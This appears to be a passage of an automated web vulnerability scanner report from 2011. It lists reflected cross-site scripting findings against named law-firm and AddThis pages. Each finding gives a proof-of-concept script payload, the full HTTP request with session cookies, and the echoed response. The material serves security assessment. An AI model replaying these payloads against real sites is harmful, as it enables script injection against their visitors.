GET /bookmark.php/4591f"-alert(1)-"57e0244f404 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:38 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92401
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <script type="text/javascript"> var u = "/bookmark.php/4591f"-alert(1)-"57e0244f404"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
4.69. http://www.arnoldporter.com/practices.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.arnoldporter.com
Path:
/practices.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32e6e"><script>alert(1)</script>277857ca11c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /practices.cfm?u=FinancialServices&action=view&id=476&32e6e"><script>alert(1)</script>277857ca11c=1 HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8e37"><script>alert(1)</script>b1acff3e126 was submitted in the u parameter. This input was echoed as e8e37\"><script>alert(1)</script>b1acff3e126 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /practices.cfm?u=FinancialServicese8e37"><script>alert(1)</script>b1acff3e126&action=view&id=476 HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
4.71. http://www.arnoldporter.com/publications.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.arnoldporter.com
Path:
/publications.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59ef8"><script>alert(1)</script>f0da3e29c6c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /publications.cfm?action=search&search_publication_type_id=advisory&59ef8"><script>alert(1)</script>f0da3e29c6c=1 HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
4.72. http://www.cov.com/about_the_firm/firm_history [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/about_the_firm/firm_history
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b3824'-alert(1)-'1b19dddffc8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about_the_firm/firm_history?b3824'-alert(1)-'1b19dddffc8=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html> <head> <title id="ctl00_htmlTitle">Covington & Burling LLP | About the Firm | Firm History</title> <meta na ...[SNIP]... about_the_firm/firm_history/' + document.aspnetForm.action;var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/about_the_firm/firm_history/AboutSection.aspx?b3824'-alert(1)-'1b19dddffc8=1';//]]> ...[SNIP]...
4.73. http://www.cov.com/balancingworkandfamilylife [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/balancingworkandfamilylife
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec112'-alert(1)-'d654b8e90b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /balancingworkandfamilylife?ec112'-alert(1)-'d654b8e90b6=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.74. http://www.cov.com/bestviewed [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/bestviewed
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e18d5'-alert(1)-'b19132c4a4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bestviewed?e18d5'-alert(1)-'b19132c4a4f=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.75. http://www.cov.com/biographies [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/biographies
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3b19'-alert(1)-'10a178ca3f5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /biographies?c3b19'-alert(1)-'10a178ca3f5=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.76. http://www.cov.com/diversityoverview [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/diversityoverview
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c748'-alert(1)-'750bc24037f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diversityoverview?8c748'-alert(1)-'750bc24037f=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.77. http://www.cov.com/diversityupdate [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/diversityupdate
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2d31'-alert(1)-'bf8e984b8ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diversityupdate?c2d31'-alert(1)-'bf8e984b8ec=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.78. http://www.cov.com/extranet [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/extranet
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6f529'-alert(1)-'c70c33782c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /extranet?6f529'-alert(1)-'c70c33782c6=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.79. http://www.cov.com/firmoverview [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/firmoverview
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d58f'-alert(1)-'8538235fe28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /firmoverview?9d58f'-alert(1)-'8538235fe28=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html> <head> <title id="ctl00_htmlTitle">Covington & Burling LLP | About the Firm | Firm Overview</title> <meta n ...[SNIP]... ocument.aspnetForm.action = '/firmoverview/' + document.aspnetForm.action;var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/firmoverview/AboutSection.aspx?9d58f'-alert(1)-'8538235fe28=1';//]]> ...[SNIP]...
4.80. http://www.cov.com/forum [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/forum
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb6be'-alert(1)-'7a5f32d74e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forum?cb6be'-alert(1)-'7a5f32d74e6=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.81. http://www.cov.com/honorsrankings [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/honorsrankings
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4088'-alert(1)-'6fb7096a36d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /honorsrankings?f4088'-alert(1)-'6fb7096a36d=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.82. http://www.cov.com/leadersindiversity [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/leadersindiversity
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1cac5'-alert(1)-'90719ebe248 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /leadersindiversity?1cac5'-alert(1)-'90719ebe248=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.83. http://www.cov.com/legalnotices [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/legalnotices
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0792'-alert(1)-'83d5d12175f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /legalnotices?a0792'-alert(1)-'83d5d12175f=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.84. http://www.cov.com/mclarty [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/mclarty
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 354a9'-alert(1)-'6c85014edb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mclarty?354a9'-alert(1)-'6c85014edb2=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
4.85. http://www.cov.com/news/detail.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.cov.com
Path:
/news/detail.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b350e'-alert(1)-'c5433843e1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/detail.aspx?b350e'-alert(1)-'c5433843e1a=1 HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The value of the news request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9eb11'-alert(1)-'81ed8e1df91 was submitted in the news parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
